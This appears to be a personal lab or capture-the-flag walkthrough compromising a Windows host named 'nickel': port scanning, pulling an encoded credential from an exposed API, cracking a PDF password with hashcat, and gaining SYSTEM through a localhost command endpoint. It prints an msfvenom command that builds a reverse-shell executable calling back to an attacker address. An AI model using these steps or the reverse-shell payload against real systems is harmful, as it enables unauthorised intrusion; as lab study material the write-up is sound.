# Initial Enumeration
## nmap
```sh
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack FileZilla ftpd 0.9.60 beta
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
22/tcp open ssh syn-ack OpenSSH for_Windows_8.1 (protocol 2.0)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack
3389/tcp open ms-wbt-server syn-ack Microsoft Terminal Services
| ssl-cert: Subject: commonName=nickel
| Issuer: commonName=nickel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-10-30T18:34:50
| Not valid after: 2027-05-01T18:34:50
| MD5: fa4b:8ce0:52d7:7188:e96b:ca36:1ec0:3016
| SHA-1: 9919:4131:305a:5bf7:6a2c:96a8:9d82:1a5a:659b:91e5
|_ssl-date: 2026-10-31T18:42:28+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: NICKEL
| NetBIOS_Domain_Name: NICKEL
| NetBIOS_Computer_Name: NICKEL
| DNS_Domain_Name: nickel
| DNS_Computer_Name: nickel
| Product_Version: 10.0.18362
|_ System_Time: 2026-10-31T18:41:21+00:00
5040/tcp open unknown syn-ack
7680/tcp open pando-pub? syn-ack
8089/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn't have a title.
|_http-favicon: Unknown favicon MD5: 9D1EAD73E678FA2F51A70A933B0BF017
| http-methods:
|_ Supported Methods: GET
33333/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
| http-methods:
|_ Supported Methods: GET POST
|_http-favicon: Unknown favicon MD5: 76C5844B4ABE20F72AA23CBE15B2494E
|_http-title: Site doesn't have a title.
Host script results:
| smb2-time:
| date: 2026-10-31T18:41:25
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
```
# TCP/21 FTP
![[Pasted image 20261031134833.png]]
No anonymous ftp
# TCP/22 SSH
![[Pasted image 20261031135035.png]]
Forms of authentication methods accepted
# TCP/445 SMB
![[Pasted image 20261031135159.png]]
No anonymous or guest access to smb
# TCP/8089 HTTP - DevOps Dashboard
![[Pasted image 20261031135851.png]]
This is sending a GET request to `tcp/33333`. The address on their indicates there was an issue with dhcp so I don't believe this actually works but we should check out the service since `tcp/33333` is open on this machine
## dirsearch
- Nothing found
# TCP/33333
![[Pasted image 20261031140603.png]]
We get an `Invalid Token` as output
## dirsearch
- Nothing found in dirsearch
![[Pasted image 20261031145311.png]]
We had to modify the method to `POST`, changed host to `nickel.local:33333`, and started getting a `411`. To fix the `411` we only have to add a `Content-Length` header.
![[Pasted image 20261031145500.png]]
We discovered clear-text credentials in the running process `DevTasks.exe`
Protocol -> SSH
- Let's try to use those credentials in SSH
## ssh as ariah
![[Pasted image 20261031150447.png]]
When we tried to ssh the credentials did not work so it is most likely a hash. `Hashcat` autodetect matches a *PeopleSoft* hash
But we are unable to crack the hash and with rules as well
I am an idiot, looked at a walkthrough for this, it's just `base64`
![[Pasted image 20261031151724.png]]
![[Pasted image 20261031151849.png]]
Credentials are valid
### User Flag
![[Pasted image 20261031151953.png]]
### Password Protected PDF
![[Pasted image 20261031152422.png]]
Credentials worked for ftp as well but the only pdf up there is password protected
#### hashcat
![[Pasted image 20261031152909.png]]
```sh
hashcat -m 10500 pdf.hash /usr/share/wordlists/rockyou.txt --force
```
![[Pasted image 20261031152942.png]]
![[Pasted image 20261031153130.png]]
Hmm not sure if I can do anything with this, maybe add those to my host file
![[Pasted image 20261031153717.png]]
There is a `D:` drive mounted
## TCP/80 127.0.0.1
![[Pasted image 20261031154451.png]]
There is also another filezilla server listening on `tcp/14147`
![[Pasted image 20261031155111.png]]
Ligolo to tunnel to localhost on target
![[Pasted image 20261031155438.png]]
We have an api here
------
Reset Machine
----
Don't worry about ligolo we can just run curl from here. Referencing the recovered pdf we have `TCP/80` is a *Command Endpoint*
![[Pasted image 20261031162714.png]]
### Becoming system
```sh
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.45.210 LPORT=443 --platform windows -a x64 -f exe -o rev.exe
```
![[Pasted image 20261031163304.png]]
![[Pasted image 20261031163243.png]]
#### root flag
![[Pasted image 20261031163339.png]]